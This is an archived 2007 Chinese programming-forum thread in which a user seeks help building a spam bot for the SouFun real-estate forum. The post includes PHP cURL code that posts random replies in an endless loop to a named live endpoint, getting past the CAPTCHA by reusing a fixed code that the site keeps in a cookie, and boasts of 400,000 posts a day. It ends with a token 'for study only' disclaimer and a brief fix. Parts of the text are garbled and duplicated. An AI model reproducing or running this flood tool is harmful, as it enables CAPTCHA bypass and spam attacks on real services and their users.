编程论坛's Archiver

rock1_23 发表于 2007-11-20 19:55

[求助]想请人写一个搜房的灌水机,提供一部份源代码和思路.谢谢了~!

<P>下面是灌水机的思路:<BR><BR><BR>很简单的 模拟发包就好了 如果你放到服务器上去运行的话 理论上可以发无限帖子 我做了个简单的测试 有一天我发了 400000帖子 呵呵 程序大概运行的时间是 15个小时左右 回贴有最大回贴数 18002左右 呵呵 ====不是很明白,能不能把步骤说清楚?我之前利用幸运币的漏洞一天能发10万现在已经不行了。 ====自己写个程序模拟提交数据不就可以了 提交的时候把luckcode也提交过去就可以了<BR><BR><BR>一部份源代码:<BR><BR>呵呵 完全代码不可以完全发布给你 <BR>我在写一部分代码吧 也给其他的懂点的人看看<BR>先说突破验证码的原理吧 发现没有 当出现幸运币的时候 你只要刷新那输入页面 你会发现验证码是没有变的 可见验证码被存储到了COOKIE里了 当然了COOKIS里的数据有部分都是加密的了 当然了我们没有必要去尝试破解 只要每次都用同一个验证码去提交就好了<BR>更深入或者是更简单的做法是<BR>代码部分采用程序PHP<BR><BR>[CODE]<BR>&lt;?PHP<BR>set_time_limit(0);   //程序运行时间解禁<BR>$j = 0;  //计数初始化</P>
<P><BR>//for ($i = 1; $i &lt;= 1; $i++) { //控制发贴数量<BR>while(1){ //去掉本行注释前先把上行注释掉 这样就是连续发帖直到程序被关闭 谨慎使用 呵呵<BR>$j++;<BR>$luckcode="6V"; ///////////////////////最关键的地方 一般人我不告诉的 呵呵 自己去琢磨吧 琢磨透了 就可以连续发贴了<BR>mt_srand((double)microtime()*1000000);//加入时间的因素,以执行时的百万分之一秒当乱数种子<BR>    $random=mt_rand(1,1000);//产生1-1000间的随机数<BR>$subject=md5(date(''''''''H:i:s'''''''').$random); //见函数说明<BR>$body=md5(date(''''''''H:i:s'''''''').$random); //见函数说明<BR>$sign=1210221942; //见函数说明<BR>$announceid=52367862; //见函数说明<BR>$bid=-2; //见函数说明<BR>$masterid=52367862; //见函数说明<BR>$tid=3982; //见函数说明<BR>$cookiefile="cookie.txt"; //见函数说明</P>
<P>/ cookiefile1="cookie1.txt";<BR>soufun_gsj_ht($luckcode,$subject,$body,$sign,$announceid,$bid,$masterid,$tid,$cookiefile); //调用函数</P>
<P>function soufun_gsj_ht($luckcode,$subject,$body,$sign,$announceid,$bid,$masterid,$tid,$cookiefile){<BR>$host="<a href="http://shbbs.soufun.com" target="_blank" >http://shbbs.soufun.com</A>";<BR>$url=$host."/soufun_forum/post ve_reply.aspx/sign=$sign";<BR>$curl = curl_init();<BR>curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);<BR>curl_setopt($curl, CURLOPT_HEADER, false);<BR>curl_setopt($curl, CURLOPT_NOBODY, false);<BR>curl_setopt($curl, CURLOPT_URL, $url);<BR>curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/99.99 (compatible; MSIE 99.99; Windows XP 99.99)");<BR>curl_setopt($curl, CURLOPT_POST, 1); <BR>curl_setopt($curl, CURLOPT_COOKIEFILE, $cookiefile);<BR>curl_setopt($curl, CURLOPT_POSTFIELDS, "luckcode=$luckcode&amp;guestname= &amp;subject=$subject&amp;color=#000000&amp;font=宋体&amp;size=3&amp; select=#6495ED&amp;body=$body&amp;imgurl2=http://&amp;UserImg=&amp;rdb_rb=002&amp;sign=$sign&amp;announceid=$announceid&amp;topic=&amp;bid=$bid&amp;masterid=$masterid&amp;tid=$tid&amp;listid=&amp;listtype=1&amp;pagesize=20&amp;count=1&amp;tpage=1"); <BR>curl_setopt($curl, CURLOPT_TIMEOUT, 10); <BR>$result=curl_exec($curl);<BR>curl_close($curl);<BR>echo $result;<BR>}<BR>?&gt;<BR>[CODE]<BR><BR><BR>发贴的速度根据你的带宽和服务器的响应速度了<BR>还有其他简单的办法 不过这个也比较简单<BR>最简单的就是模拟发包了 不过原理都一样<BR>此部分只供大家学习参考使用 不可对如何网站进行攻击 违背了本人的初衷<BR>另外 防止灌水只要在验证码上改动就行了 不要存储到COOKIE了 那就安全了 呵呵 当然了 那时候是更高层次的识别了<BR>此类话题结贴 本站管理员不要删除 SOUFUN管理员例外 [CODE] 发贴的速度根据你的带宽和服务器的响应速度了还有其他简单的办法 不过这个也比较简单最简单的就是模拟发包了 不过原理都一样此部分只供大家学习参考使用 不可对如何网站进行攻击 违背了本人的初衷另外 防止灌水只要在验证码上改动就行了 不要存储到COOKIE了 那就安全了 呵呵 当然了 那时候是更高层次的识别了此类话题结贴 本站管理员不要删除 SOUFUN管理员例外' /&gt;<BR><BR><BR><BR></P>

rock1_23 发表于 2007-11-21 10:59

回复:(rock1_23)[求助]想请人写一个搜房的灌水机,...

自己顶起来~!

页: [1]

Powered by Discuz! Archiver 6.1.0  © 2001-2007 Comsenz Inc.